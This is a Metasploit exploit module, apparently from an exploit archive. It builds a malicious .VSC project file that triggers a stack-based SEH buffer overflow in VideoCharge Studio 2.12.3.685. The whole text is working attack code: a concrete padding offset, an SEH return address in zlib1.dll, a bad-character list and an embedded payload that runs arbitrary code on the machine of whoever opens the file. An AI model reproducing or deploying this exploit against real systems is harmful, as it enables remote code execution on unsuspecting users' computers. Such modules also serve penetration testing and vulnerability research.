VideoCharge Studio – Local Buffer Overflow (SEH) (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'VideoCharge Studio Buffer Overflow (SEH)', 'Description' => %q{ This module exploits a stack based buffer overflow in VideoCharge Studio 2.12.3.685 when processing a specially crafted .VSC file. This vulnerability could be exploited by a remote attacker to execute arbitrary code on the target machine by enticing a user of VideoCharge Studio to open a malicious .VSC file. }, 'License' => MSF_LICENSE, 'Author' => [ 'metacom', # Original discovery 'Andrew Smith', # MSF module 'Christian Mehlmauer' # MSF module ], 'References' => [ [ 'OSVDB', '69616' ], [ 'EBD', '29234' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x3c\x22\x26", 'DisableNops' => true, 'Space' => 2808 }, 'Targets' => [ [ 'VideoCharge Studio 2.12.3.685', { 'Ret' => 0x61B811F1, #p/p/r | zlib1.dll 'Offset' => 2184 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Oct 27 2013', 'DefaultTarget' => 0)) register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.vsc']),], self.class) end def exploit buffer = rand_text_alpha(target['Offset']) buffer << generate_seh_record(target.ret) buffer << payload.encoded file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.12.3.685"> <cols name="Files"/> <cols name="Profiles"> <Property name="Profile"> <cols name="Formats"> <Property name="Stream"> <Value name="Name" type="8" value="#{buffer}"/> </Property> </cols> </Property> </cols> </config>| print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(file) end end |